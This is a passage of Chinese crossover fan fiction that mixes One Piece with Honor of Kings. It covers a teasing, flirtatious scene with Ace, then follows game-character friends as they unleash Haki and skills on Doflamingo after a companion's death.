“……没有很苦,我觉得、我觉得挺甜的。”
嘶——他怎么感觉不到舌头的存在了?
*
琥珀色的玻璃糖纸发出细微的窸窣声,贤者剥了一颗糖,递到了他嘴边,温声细语哄着他张嘴。
听话的小狗乖乖张了嘴,露出湿红的口腔和半截舌尖,茫然地被有点坏心眼的姐姐揪住了。
“有点红。心火太旺了,得降降火。”
她手指的力道控制的很好,指尖一蜷,轻轻巧巧地、带着试探性的力道,往外拽了一点点。另一只手扣住他的下巴,拇指抵在他下颌骨最柔软的凹陷处,迫使他保持张嘴的姿势。
从来没被人这样对待过,艾斯的眼睛猛地睁大了,瞳孔里全是她近在咫尺的脸。细细密密的电流击穿了脊椎,从尾椎一路麻到后脑勺,鼻腔里发出一声他自己都没听过的闷哼。
“唔——”
……碰……碰到了!她……她为什么……这也是医疗措施吗……是不是有点……有点太近了啊?
还有,她的手好凉啊……
贤者看着他无措的、窘到泛红的眼眶,笑了:“是你太烫了,艾斯。”
短促的、被堵在喉咙里的声音从他鼻腔里溢出来。含着手指的少年看着颇有几分可爱又可怜的狼狈。他想说话,又怕一说话就会咬到她,或者更糟——
他的身体不由自主地往前倾,又因为下巴被她扣住而动弹不得,只能发出更多的、无意识的鼻音。
“嗯……唔唔……”
黏黏糊糊的,软烂的。那是细弱的抗议还是屈服呢?越听越像小狗的哼唧声了啊。
所有音节都变成了气音和含糊的呜咽。连脖子都开始泛粉未免也太过可爱了。喉结不停上下滚动,喉间发出轻微的吞咽声,眼睛也湿漉漉的,被拽着舌头就完全说不出话来了。
呀,他还有虎牙呢?
其实很想做得再过分一点,但最后还是心软了。贤者将手指慢慢退出来,带出一丝亮晶晶的、暧昧的水光。她把被抵出口腔的糖块推回了他嘴里。拂过他饱满的下唇,把手指上沾着的糖渍抹了上去。
艾斯含着糖僵在那里,整个人像被煮熟了。
*
“能尝出味道吗?”抽离时完全没有犹豫,贤者慢条斯理地用湿纸巾擦净了手,“是薄荷味的,你喜欢吗?”
其实根本没注意糖的味道,所有感官里都只有她手指的艾斯含含糊糊地点了点头,心脏跳得快要脱离胸膛:“……喜、喜欢。”
然后,他听见了一声笑。
贤者摸了摸他滚烫的脸颊,意味深长地改了口:“骗你的,其实是海盐味儿的。艾斯,没尝出来吗?要不要再吃一颗?”
被她戳穿了。
好了。这回烧烧果实能力者是真的要把自己烧着了。
射手:“………”
再一次对好友的手段叹为观止,射手呲牙咧嘴地别过了脸。
悲报——炎之勇者他刚出新手村就遇见了满级魅魔啊(x)
*
两小只一言不合又互掐了起来,把马尔科吵得脑仁疼,精通航海术的不死鸟看了一眼航线:“德雷斯罗萨快到了,你们那位小朋友怎么样了yoi?”
贤者在帮老爹倒茶。温壶烫茶,高山流水,戳茶激香,茶汤从壶嘴里倾泻出来,在杯底溅起一小朵水花,精通茶艺的女人头也不抬,温和回应:“她已经切磋完了。下一站是阿拉巴斯坦,但……来都来了,好好和那位天夜叉聊聊奴隶贩卖的事吧。”
那混蛋总是对人鱼出手,得警告他别总动不动就挑战白胡子海贼团的权威——给他面子,他把面子当鞋垫子是吧?
“买卖同罪这个道理,如果他听不懂,就用拳头让他听懂。”贤者笑意清浅,每一个字都咬的很清晰,“人贩子都该千刀万剐。”
纽盖特喝着茶听儿女们讲话,闻言赞同地点点头。马尔科应了一声,讲起了曾经听来的传言。
“……那家伙好像还跟天龙人沾亲带故,总是踩着世界政府的底线垄断交易。有情报说他是德雷斯罗萨曾经的王族后裔,但这消息不知道是谁传出来的yoi。”
虽然用着白胡子谍报员专门的图案,但……传消息的人像是凭空消失、被抹除了痕迹一样。
是某种篡改认知的恶魔果实能力吗?
他还想说什么,被贤者突然变了的脸色震得皱起了眉头。她的手不动了。茶壶悬在半空,琥珀色的液体顺着杯壁漫上来,溢出了杯沿,淌过桌面,滴在她膝头的裙摆上。
像是完全没感受到滚烫的茶液一样,她僵硬地回头看他:“什么?天龙人……后裔?”
*
射手的反应比贤者慢了半拍,因为她正在聚精会神地跟艾斯打架。火拳擦着她的耳廓烧过去,把一截头发烧焦了,空气里弥漫着蛋白质烧糊的臭味。
她正在骂人,艾斯不甘示弱地还嘴,两个人你来我往,像两只斗鸡。
听清了那句“天龙人后裔”,射手的动作突然停了。
她的手指还搭在扳机上,那是火鹰船长莱西奥的火炮,枪口还在冒烟……但她整个人像被人按了暂停键,一动不动。
“糟了——刺客那家伙——!!”
艾斯那一拳没收住,擦着她的肩膀打了过去。射手躲都没躲,像是完全没察觉到疼痛,嘴唇抖了一下。眼睛定在虚空中的某个点——马尔科和艾斯他们都看不到的,系统的小地图上。
贤者也是这个表情。
“怎么了?”马尔科皱眉,顺着她的目光看过去,只看到一片海。
“喂?”艾斯皱眉看射手小伙伴,“你发什么神经?怎么不躲啊?”
贤者直直地盯着黑白色的头像,像是再也不会亮起来的名字,脸上的表情一片又一片崩碎成片。裂痕不可阻挡地向四面八方蔓延。
她脸上的笑意完全消失了。
海风灌进帆布,一下一下,像某种不祥的预警。
射手的手不受控制地开始发抖。指节发白,嘴唇抿成一条线,眼眶里倏然有水光在打转,但一滴都没有落下来。
她死死咬着嘴唇内侧的肉,咬得嘴里全是铁锈味,嗓音哑的不成调子:“刺客……她……”
——她说不下去了。
*
所以,是——谁?是谁杀了她?!
堂吉诃德·多弗朗明哥——!!!
两股新生的霸王色霸气,在同一时间,爆发在了莫比迪克号和雷德·福斯号的甲板上。
没有征兆,没有铺垫。像沉寂了亿万年的火山忽然喷发,两颗被压缩到极致的中子星同时坍缩。那股力量从她们体内炸开的时候,整艘船都在颤抖。
木板发出不堪重负的嘎吱声,酒杯在桌面上震颤,叮叮当当响成一片。那压迫感太过恐怖,几个离得近的新人甚至没来得及反应,膝盖一软就跪了下去。
愤怒是有温度的,灼热、滚烫、像岩浆一样往外流淌——可那不只是愤怒。还有很多很多比愤怒更深沉、更不讲道理的情绪。
那、是、杀、意。
……是纯粹的、不加修饰的、没有任何余地的杀意。
以牙还牙,以眼还眼。千年前的人类第一部律法被汉谟拉比竖立在了巴比伦城的神庙中,楔形文字刻在了石柱上,也刻在了人们原始的基因里。
同态复仇,杀人者——拿命来偿!!!
*
中辅觉醒的霸王色是冰冷的、决堤的洪水,是挣脱了缰绳的野马,是刚从笼子里放出来的、饥肠辘辘的猛兽。它不管不顾地沸腾叫嚣着,不在意会不会伤到旁人,只有一个念头——碾碎挡在面前的一切,杀死那个该杀的男人。
香克斯说得对。不为自己,而是为了她们的朋友。
传送的光芒开始亮起。紫色光圈一层一层铺开。比传送更快的是有着全图视野的上单·哪吒和定点支援的贤者·刘邦。
「三技能·乾坤天降」!
纵身踏上火风直冲天穹,风火轮轰鸣作响,整个人化作赤红光团。腾空蓄力,俯冲坠地,有如雷霆万钧。
【“命运?它要人人都走已注定结果的路,但我偏不!”】
「三技能·统御战场」
猩红血阵流转,空间波纹层层荡漾。吟唱时有蝙蝠在周身盘旋,超远距离瞬移,在落地瞬间为队友套盾加增益buff,宛如神兵天降。
【“听过我的恐怖故事吗?告别黎明吧!”】
*
法师站在【传送】的光圈中央,法杖顶端凝聚着一颗微缩的、正在缓缓旋转的星系,那里面有亿万颗星星在燃烧、在死亡、在重获新生。
她抬起了头。
那双眼睛里没有泪。她现在也不需要眼泪,她需要的是让杀了刺客的人,也尝一尝血条清零是什么滋味。
【“蜉蝣朝生暮死,也敢与天搏命?你,很有勇气。”】
武则天的全图大招已经锁定了目标。
说好要一起回家的……刺客不会死,她肯定留了个后手。法师冷静地将技能指示器对准了德雷斯罗萨的王宫高地。五个升级点一次性点满让她迅速跳过磨合期,用出了高一阶的霸王色缠绕。
同样有着【无法选中】的效果,机制相互抵消,这样应该就能控住他了。
她想起了好友临行前跟她说的最后一句话。
“那座岛听起来有点像西班牙,我去看看有没有海鲜烩饭。你别太想我啊。”
当时她笑着骂了刺客一句“快滚”,然后继续埋头研究起了自己的技能面板。
那是……多久以前的事了?为什么会突然想到这种事情呢?
毫无意义。毫无意义。毫无意义!
——刺客是不会死的。她答应过自己的。那个毒舌的家伙最大的优点就是信守承诺,从小时候就是这样的。
说好了一起努力考进同一所大学,她就真的做到了。说好了即使毕业也要随时联系,她就特意和自己选了同一个城市,还说什么“等我攒够了钱就全款搞个两室一厅咱俩一人一间。”
……她答应过自己的。
法阵在法师脚下铺展开来,一直延伸到天边。「三技能·生杀予夺」在这一刻轰然落下。
星河倒转,宇宙塌缩。女帝的权杖在虚空中显现,一颗又一颗陨石缠绕着冰冷的霸王色霸气,带着足以碾碎一切的力量,从天空的最高处,朝着多弗朗明哥的头顶,轰然砸下!
*
白刃是用「线」凝聚而成的,挥手就消散了。多弗朗明哥站在王宫的高台上,粉红色羽毛大衣在风中轻轻飘动。
他正低头看着仰面朝天的刺客,像在欣赏一件艺术品:“别对陌生男人敞开心扉啊,呋呋呋,真是不聪明的小姑娘。”
冰冷的尸体骤然被护盾覆盖,刘邦大招的血红光柱骤然从天而降。与此同时,多弗朗明哥的眉头高高挑起——他的身上出现了一道赤红色的漩涡纹路。
那是被哪吒的大招锁定的状态。
灼烧的印记叠了一层又一层,风火轮轰鸣震颤,尖锐刺耳。视野被刺目的红光撕裂,天地间只剩漫天翻涌的烈焰。
……又一个霸王色?不,不止。
一股、两股、三股、四股。
四道霸王色霸气,同时降临在了这片王座之上。
它们在半空中撞在一起,没有互相抵消,而是像河流汇入大海一样,凝成了一股——针对着多弗朗明哥,杀意刺骨。
“你、对、我、们、的、伙、伴、做、了、什、么?!!”
*
以德雷斯罗萨的王宫高地为圆心,霸气向外扩散。一圈又一圈,如同荡开的波纹。
岛上的平民、士兵、海贼、路人,在威压扫过的瞬间,一个接一个地倒了下去。刻在基因里的本能无法抗拒,屈服是这片大海上唯一的退路。
鸟从山林里飞起,往四面八方逃散。海面上的鱼翻起白肚皮,像被什么东西震晕了。连风都停了,像被一只手掐住了喉咙。
铺天盖地的烈焰与陨石中,见闻色察觉到自己无法避开接下来的每一记攻击,多弗朗明哥的笑脸终于收了起来。
……等等。第五股,是来自于哪里?